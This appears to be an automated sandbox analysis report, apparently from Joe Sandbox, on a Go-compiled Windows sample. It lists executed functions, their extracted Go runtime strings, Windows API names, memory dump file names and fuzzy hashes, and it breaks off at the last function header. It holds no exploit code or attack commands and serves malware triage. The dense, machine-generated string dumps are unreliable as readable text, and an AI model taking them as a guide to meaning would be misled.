Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	11.2%
Signature Coverage:	18.5%
Total number of Nodes:	1112
Total number of Limit Nodes:	90

Executed Functions

Function 00C3C760 Relevance: 14.1, Strings: 11, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

arena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p , xrefs: 00C3CB27
end outside usable address spaceGCProg for type that isn't largeruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremo, xrefs: 00C3CDFF
memory reservation exceeds address space limittried to park scavenger from another goroutinereleased less than one physical page of memory (bad use of unsafe.Pointer? try -d=checkptr)sysGrow bounds not aligned to pallocChunkBytesruntime: failed to create new , xrefs: 00C3CED2
out of memory allocating heap arena metadata/cpu/classes/scavenge/background:cpu-secondsruntime: unexpected metric registration for gcmarknewobject called while doing checkmarkactive sweepers found at start of mark phaseno P available, write barriers are forbi, xrefs: 00C3CB16
out of memory allocating allArenas/memory/classes/heap/objects:bytesruntime.SetFinalizer: cannot pass too many pages allocated in chunk?mspan.ensureSwept: m is not lockedruntime: source value is too largeVirtualQuery for stack base failedforEachP: sched.safePo, xrefs: 00C3CB05
region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: m, xrefs: 00C3CDA7
base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-c, xrefs: 00C3CDD1
, xrefs: 00C3CDEF
out of memory allocating heap arena map/cpu/classes/gc/mark/assist:cpu-seconds/cpu/classes/scavenge/total:cpu-seconds/memory/classes/profiling/buckets:bytesmspan.sweep: bad span state after sweepruntime: blocked write on free polldescPowerRegisterSuspendResume, xrefs: 00C3CB38
) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinn, xrefs: 00C3CEA5
, )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12, xrefs: 00C3CE85

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: $) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinn$, )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12$arena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p $base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-c$end outside usable address spaceGCProg for type that isn't largeruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremo$memory reservation exceeds address space limittried to park scavenger from another goroutinereleased less than one physical page of memory (bad use of unsafe.Pointer? try -d=checkptr)sysGrow bounds not aligned to pallocChunkBytesruntime: failed to create new $out of memory allocating allArenas/memory/classes/heap/objects:bytesruntime.SetFinalizer: cannot pass too many pages allocated in chunk?mspan.ensureSwept: m is not lockedruntime: source value is too largeVirtualQuery for stack base failedforEachP: sched.safePo$out of memory allocating heap arena map/cpu/classes/gc/mark/assist:cpu-seconds/cpu/classes/scavenge/total:cpu-seconds/memory/classes/profiling/buckets:bytesmspan.sweep: bad span state after sweepruntime: blocked write on free polldescPowerRegisterSuspendResume$out of memory allocating heap arena metadata/cpu/classes/scavenge/background:cpu-secondsruntime: unexpected metric registration for gcmarknewobject called while doing checkmarkactive sweepers found at start of mark phaseno P available, write barriers are forbi$region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: m
API String ID: 0-4075770719
Opcode ID: 7124004f0e89c87a00e7d818deceffa18713400726bb95a3ab94d3499b79e971
Instruction ID: 19e160efb1207316eca9dd7b3e597bb1c0700fab8b3fbf322d17a820a8db99fc
Opcode Fuzzy Hash: 7124004f0e89c87a00e7d818deceffa18713400726bb95a3ab94d3499b79e971
Instruction Fuzzy Hash: C8028772219BC482DB60DB52F4803AEB764F789B94F448226EFAD67799CF38C584C750

Function 00C61A40 Relevance: 14.0, Strings: 11, Instructions: 247
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: malformed profBuf buffer - invalid sizeattempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=not enough significa, xrefs: 00C61E9F, 00C61EFF
runtime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnableruntime: bad notifyList size - sync=accessed data from freed user arena runtime:, xrefs: 00C61DC7
runtime: NtCreateWaitCompletionPacket failed; errno=casfrom_Gscanstatus: gp->status is not in scan statenon-concurrent sweep failed to drain all sweep queuesruntime: NtCancelWaitCompletionPacket failed; errno= exited a goroutine internally locked to the OS thr, xrefs: 00C61E17
NtCreateWaitCompletionPacket failedfindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=2006-01-02T15:04:05.999999999Z07:00file type does not support deadlinecrypto/cipher: , xrefs: 00C61E3F
runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeroreflect: internal error: invalid method indexslice bounds out of range [:%x] wit, xrefs: 00C61F37
0, xrefs: 00C61C9A
VirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workentersyscallblock inconsistent bp entersyscallblock inconsistent sp runtime: g is running but p is notreflect: Field of non-struct type reflect: Field index o, xrefs: 00C61DEF
runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeroreflect: internal error: invalid method indexslice bounds out of range [:%x] with length %ypanicwrap: unexpected string after, xrefs: 00C61E77, 00C61ED7
bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timersmultipathtcpnot pollablegotypesaliashttpmuxgo121randauto, xrefs: 00C61D8A
runtime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!reflect: funcLayout of non-func type reflect.Value.Bytes of non-byte slicer, xrefs: 00C61F5F
) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-1, xrefs: 00C61D72

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-1$0$CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: malformed profBuf buffer - invalid sizeattempt to trace invalid or unsupported P statusruntime: waitforsingleobject wait_failed; errno=not enough significa$NtCreateWaitCompletionPacket failedfindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=2006-01-02T15:04:05.999999999Z07:00file type does not support deadlinecrypto/cipher: $VirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workentersyscallblock inconsistent bp entersyscallblock inconsistent sp runtime: g is running but p is notreflect: Field of non-struct type reflect: Field index o$bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timersmultipathtcpnot pollablegotypesaliashttpmuxgo121randauto$runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeroreflect: internal error: invalid method indexslice bounds out of range [:%x] wit$runtime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!reflect: funcLayout of non-func type reflect.Value.Bytes of non-byte slicer$runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeroreflect: internal error: invalid method indexslice bounds out of range [:%x] with length %ypanicwrap: unexpected string after$runtime: NtCreateWaitCompletionPacket failed; errno=casfrom_Gscanstatus: gp->status is not in scan statenon-concurrent sweep failed to drain all sweep queuesruntime: NtCancelWaitCompletionPacket failed; errno= exited a goroutine internally locked to the OS thr$runtime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnableruntime: bad notifyList size - sync=accessed data from freed user arena runtime:
API String ID: 0-3109391117
Opcode ID: 02df2a00b38f7897ed78179d1040695498a7d7c86cf31614c3ea65e849c14623
Instruction ID: 002a95452a6f0c862bc9dc02887ab4792048b819b63df97ec09d210140334bb0
Opcode Fuzzy Hash: 02df2a00b38f7897ed78179d1040695498a7d7c86cf31614c3ea65e849c14623
Instruction Fuzzy Hash: 70C16E36208F84C1DB20EB61E48A36E7764F75ABD4F048626EE9C837A6DF39C185D750

Function 00C60200 Relevance: 12.6, Strings: 10, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

RtlGetCurrentPeb, xrefs: 00C603CE
ProcessPrng, xrefs: 00C60269
NtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notMapIter.Next called on an iterator that does not have an associated map Valuecannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacke, xrefs: 00C6044E
ntdll.dll, xrefs: 00C602A7
NtAssociateWaitCompletionPacket, xrefs: 00C60339
NtCancelWaitCompletionPacket, xrefs: 00C6037E
RtlGetVersion, xrefs: 00C6040D
NtCreateWaitCompletionPacket, xrefs: 00C602F4
bcryptprimitives.dll not foundpanic called with nil argumentcheckdead: inconsistent countsrunqputslow: queue is not fullruntime: bad pointer in frame invalid pointer found on stack locals stack map entries for abi mismatch detected between runtime: impossible , xrefs: 00C60485
bcryptprimitives.dll, xrefs: 00C60219

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: NtAssociateWaitCompletionPacket$NtCancelWaitCompletionPacket$NtCreateWaitCompletionPacket$NtCreateWaitCompletionPacket exists but NtCancelWaitCompletionPacket does notMapIter.Next called on an iterator that does not have an associated map Valuecannot convert slice with length %y to array or pointer to array with length %xNtCreateWaitCompletionPacke$ProcessPrng$RtlGetCurrentPeb$RtlGetVersion$bcryptprimitives.dll$bcryptprimitives.dll not foundpanic called with nil argumentcheckdead: inconsistent countsrunqputslow: queue is not fullruntime: bad pointer in frame invalid pointer found on stack locals stack map entries for abi mismatch detected between runtime: impossible $ntdll.dll
API String ID: 0-833950751
Opcode ID: 9ae26f47461b525b61ee09c296248a6d91358886e8db33367cc4e6b0d839a773
Instruction ID: d4fb8c632bdb3e99b2379ca6754e46d08724394ad01ac2040250abe6c23438f6
Opcode Fuzzy Hash: 9ae26f47461b525b61ee09c296248a6d91358886e8db33367cc4e6b0d839a773
Instruction Fuzzy Hash: CE617436205F89C5EB20DF91F88936A77A4FB48780F588536EA9D533A1EF39C584C720

Function 00C32060 Relevance: 9.2, Strings: 7, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

avx512fTuesdayJanuaryOctoberMUI_StdMUI_DltinvaliduintptrChanDir Value>\\.\UNCos/execruntimetls3desGoStringEqualSidCancelIoReadFileSetEventAcceptExIsWindowWSAIoctlrecvfromshutdown48828125strconv.parsing no anodeFullPathscavengepollDesctraceBufdeadlockraceFinipa, xrefs: 00C325F5
rdtscppopcntSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13uint16uint32uint64structchan<-<-chan Valuenetdnscmd/goheaderAnswerDefaultfloat32float64CopySidFreeSidSleepExWSARecvWSASendconnect19531259765625consoleforcegcallocmWcpuprofallocmRunknowngct, xrefs: 00C32100
avx512bwavx512vlThursdaySaturdayFebruaryNovemberDecember%!Month(nil Poolnetedns0wsaioctlgo/typesnet/httpgo/buildtlskyberx509sha1ClassANYQuestionntdll.dllGdi32.dllole32.dllpsapi.dllwinmm.dllFindCloseLocalFreeMoveFileWPurgeCommSetupCommWriteFileWSASendTo24414062, xrefs: 00C3261C
sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtosocket390625Commonsysmontimersefenceselect, not object next= jobs= goid sweep B -> % util , xrefs: 00C322ED
ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 1562578125GreekclosedefersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleep cnt=, xrefs: 00C320C1
pclmulqdqrwxrwxrwxWednesdaySeptembercomplex64invalid nreflect: funcargs(bad indirInterfacefiles,dnsdns,filesipv6-icmpmath/randtlsrsakexClassINETAuthorityUser32.dlldnsapi.dlldwmapi.dlluser32.dllws2_32.dllIsValidSidDnsQuery_WGetIfEntryCancelIoExCreatePipeGetVers, xrefs: 00C320DF
adxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-09+13CETBSTMSK-06+14StdDltintmapcgodnstcpudp\\.\\?\??netopenreadtruebind3125-Inf+InffilesyncpipeStatallgal, xrefs: 00C32086

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: adxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-09+13CETBSTMSK-06+14StdDltintmapcgodnstcpudp\\.\\?\??netopenreadtruebind3125-Inf+InffilesyncpipeStatallgal$avx512bwavx512vlThursdaySaturdayFebruaryNovemberDecember%!Month(nil Poolnetedns0wsaioctlgo/typesnet/httpgo/buildtlskyberx509sha1ClassANYQuestionntdll.dllGdi32.dllole32.dllpsapi.dllwinmm.dllFindCloseLocalFreeMoveFileWPurgeCommSetupCommWriteFileWSASendTo24414062$avx512fTuesdayJanuaryOctoberMUI_StdMUI_DltinvaliduintptrChanDir Value>\\.\UNCos/execruntimetls3desGoStringEqualSidCancelIoReadFileSetEventAcceptExIsWindowWSAIoctlrecvfromshutdown48828125strconv.parsing no anodeFullPathscavengepollDesctraceBufdeadlockraceFinipa$ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 1562578125GreekclosedefersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleep cnt=$pclmulqdqrwxrwxrwxWednesdaySeptembercomplex64invalid nreflect: funcargs(bad indirInterfacefiles,dnsdns,filesipv6-icmpmath/randtlsrsakexClassINETAuthorityUser32.dlldnsapi.dlldwmapi.dlluser32.dllws2_32.dllIsValidSidDnsQuery_WGetIfEntryCancelIoExCreatePipeGetVers$rdtscppopcntSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13uint16uint32uint64structchan<-<-chan Valuenetdnscmd/goheaderAnswerDefaultfloat32float64CopySidFreeSidSleepExWSARecvWSASendconnect19531259765625consoleforcegcallocmWcpuprofallocmRunknowngct$sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtosocket390625Commonsysmontimersefenceselect, not object next= jobs= goid sweep B -> % util
API String ID: 0-1137894519
Opcode ID: 6b31d7e5e74cf5ed8792b4a20eb6df2a413018c49b08b0b8d1f88e42e4120a6c
Instruction ID: 761576f711b4a4af24072876986f8fb6cc6299a5cfa8d1a925d35cabc744ea3d
Opcode Fuzzy Hash: 6b31d7e5e74cf5ed8792b4a20eb6df2a413018c49b08b0b8d1f88e42e4120a6c
Instruction Fuzzy Hash: 8632A8BA118B88C1EB00DF61F8497983BB5F355B80F559627DA8E97360DF39C2A9C304

Function 00C91E6C Relevance: 8.1, Strings: 6, Instructions: 586COMMON

Download Yara Rule

Strings

V:, xrefs: 00C927E5
mallocgc called without a P or outside bootstrappingruntime.SetFinalizer: pointer not in allocated blockruntime: use of FixAlloc_Alloc before FixAlloc_Initspan set block with unpopped elements found in resetruntime: GetQueuedCompletionStatusEx failed (errno= , xrefs: 00C927A6
!"#$%%&&''((()))*++,,,,,------....//////0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@@@@@@@@@@@@@@@@@@AAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC, xrefs: 00C921D3
malloc deadlockruntime error: with GC progscan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedstopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed]mo, xrefs: 00C927C8
malloc during signalclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=, xrefs: 00C927B7
mallocgc called with gcphase == _GCmarkterminationruntime.Pinner: object was allocated into an arenaruntime.Pinner: decreased non-existing pin counterrecursive call during initialization - linker skewattempt to execute system stack code on user stackcompileCal, xrefs: 00C927D9

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: !"#$%%&&''((()))*++,,,,,------....//////0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@@@@@@@@@@@@@@@@@@AAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC$malloc deadlockruntime error: with GC progscan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedstopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed]mo$malloc during signalclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=$mallocgc called with gcphase == _GCmarkterminationruntime.Pinner: object was allocated into an arenaruntime.Pinner: decreased non-existing pin counterrecursive call during initialization - linker skewattempt to execute system stack code on user stackcompileCal$mallocgc called without a P or outside bootstrappingruntime.SetFinalizer: pointer not in allocated blockruntime: use of FixAlloc_Alloc before FixAlloc_Initspan set block with unpopped elements found in resetruntime: GetQueuedCompletionStatusEx failed (errno= $V:
API String ID: 0-3996684531
Opcode ID: 0bf42188672a05d714dee03eaed97a9975040de35ddcbb7ac2589cf4552fac7d
Instruction ID: 91c24bc01c2e59040fd9820c520d2cfde98e1b6045d40d77d0a78cc2eb2c9a5d
Opcode Fuzzy Hash: 0bf42188672a05d714dee03eaed97a9975040de35ddcbb7ac2589cf4552fac7d
Instruction Fuzzy Hash: B8320372308B8492DF24CB16E0487AEBB65F745B94F085216EFEE13B95CB38C995DB00

Function 000001A2650C012B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99
memoryfilenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
